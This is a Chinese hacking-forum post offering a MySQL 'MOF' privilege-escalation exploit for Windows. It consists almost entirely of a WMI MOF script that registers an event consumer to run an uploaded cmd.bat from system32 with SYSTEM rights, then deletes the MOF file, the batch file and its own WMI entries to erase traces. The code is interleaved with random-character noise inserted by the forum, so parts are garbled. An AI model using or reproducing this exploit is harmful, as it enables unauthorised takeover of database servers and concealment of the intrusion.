找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2064|回复: 0
打印 上一主题 下一主题

Mysql 提权即时无错Mof exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:05:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个sql提权MOF需要运行 system下的文件,不能定义路径。
/ M8 v8 D. Y5 J2 A  O9 O/ c! o需要将要运行的命令写入到bat上传到system32目录,然后执行。
+ [8 x3 W3 a7 r0 F+ J  I. x% P" H: v# g: V' A; w/ A
这个sql提权MOF需要运行 system下的文件,不能定义路径。
) R- @" x% ]0 b1 E需要将要运行的命令写入到bat上传到system32目录,然后执行。" M0 X  h* S3 z, m& ~0 F1 V

0 I) D, ^7 H" `, Z#pragma
2 k3 X4 {3 H5 J* k                        namespace("\\\\.\\root\\cimv2")
7 @. g. I$ U8 J* w# O2 m1 G                        class
( k' Z5 s# s6 e" _# j                        MyClass547
7 d$ p3 Z' j2 e) R0 a$ N) {4 v                        {           [key]
. s( H) ~- B3 C8 a& s1 E$ O3 I                        string
. c; M4 B: c& s  p6 y$ K                        Name;
5 n4 C. j9 Z6 _6 z                        };8 Z. P7 }* S# T  S* M0 ?
                        class5 d6 o6 B: M; H3 @* w
                        ActiveScriptEventConsumer
; u1 G+ \9 l  i: Z  e3 {                        : __EventConsumer {          [key]9 u/ X, L8 X! [
                        string: R/ }. h4 A. `: j6 U8 P
                        Name;           [not_null]
! U2 ]9 i- r$ H& g2 K* e                        string/ p. p7 f. i* d$ k3 W
                        ScriptingEngine;           string- M, l3 v0 ?  m" b
                        ScriptFileName;           [template]0 L( \3 c: U5 @7 n' G, `
                        string$ j& \* D6 o/ G$ m
                        ScriptText;         uint32 KillTimeout;
: H7 u5 c+ o4 C0 N& f! h/ Z1 ]# W                        }; instance of __Win32Provider as $P {
' Q4 h. t: z- T  k, i+ r3 ^                        Name3 V- v* \) x% r8 A  |. G( x- r+ p5 k5 [
                        =* Y% f0 s6 _, M6 A
                        "ActiveScriptEventConsumer";     CLSID =, D; w$ E2 D: ~' H4 ?/ S
                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";4 L* G& n+ i) o2 g% E  W6 @2 \
                        PerUserInitialization7 @3 M4 l, J4 l% w& a/ l$ Q  ?
                        = TRUE;, x/ s. |6 {3 C0 Z- |: j6 I
                        }; instance of __EventConsumerProviderRegistration {         Provider) K- ?+ K; e3 c0 h% v9 _5 F
                        = $P;         ConsumerClassNames3 X0 V( n6 a+ i& W6 Q
                        =" q& [& u+ J( N+ s/ j
                        {"ActiveScriptEventConsumer"};
4 v/ x- {; r% ?1 Z" w- F' b8 [                        };
1 D. L2 ^; O0 ~6 u) q7 H! a                        Instance of ActiveScriptEventConsumer
3 F8 l( ~5 {1 ?  P8 x( E                        as $cons {         Name
, |5 S* U4 Q1 k" M+ ]                        =
; T: v9 |5 u% E' l% k+ Q                        "ASEC";         ScriptingEngine
7 ]8 n* X; T! \                        =( j  L3 }0 O7 ~2 d) J& a
                        "JScript";         ScriptText
/ y; o( K7 I" x4 ]( U( b                        =
- m* W5 P1 Q( n. R: |4 ^! L! R+ \                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };
/ N0 T* u5 m9 X. q                        Instance of ActiveScriptEventConsumer
# ~8 }# S/ {# U! r' F5 e) n                        as $cons2 {         Name" q5 v9 O/ M; p3 @
                        =+ I4 e" O( A" }4 T6 H7 Z1 n
                        "qndASEC";         ScriptingEngine
9 Q+ p) m" \  Q( ]                        =/ |! O* R% w( X( x; h
                        "JScript";         ScriptText1 D8 i5 K' l9 w
                        =
; g! |2 ]$ \& [3 o/ f                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
9 R& C, o- o0 y9 y                        }; instance of __EventFilter as $Filt {         Name
; Y) Q3 R1 p& G, z1 y$ U                        =
4 _* Z; w* w$ X' u                        "instfilt";         Query8 F- Z+ c8 h* b% K& d
                        =2 K7 p  g1 i: q, a0 J5 y6 H
                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage
, }5 X9 V' `' R                        =
, R* i* u+ a7 ], h0 f                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name
' U4 @5 y$ o, l$ M$ d                        =: Y: s5 \' @! G
                        "qndfilt";         Query1 r# R7 u* V& _: c8 r% S
                        =
! q4 |$ ?# [9 ]6 ~/ I! t                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage! {3 s$ k/ B+ c" K( z. O. W
                        =2 _9 z9 T% u6 ]1 x  I
                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer( ^3 ^( o' |* ?8 F* g0 T* F
                        = $cons;         Filter
. e& C0 [6 v( i5 p! {( P9 [                        = $Filt;
, B; P: O; B+ w" T                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer
$ O8 M. z7 a' ?3 f; G- c                        = $cons2;         Filter8 ]7 J( Q' o- f
                        = $Filt2;: e* D+ O8 B# E# T4 D; Y' K  }
                        }; instance of MyClass547
( e& k# v0 q, {- ?+ Z/ I                        as $MyClass {         Name5 K  b* E5 u' R
                        =3 ~, k1 k  N# i8 S
                        "ClassConsumer";
1 n: J/ o0 ?8 w. K) Q                        };
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表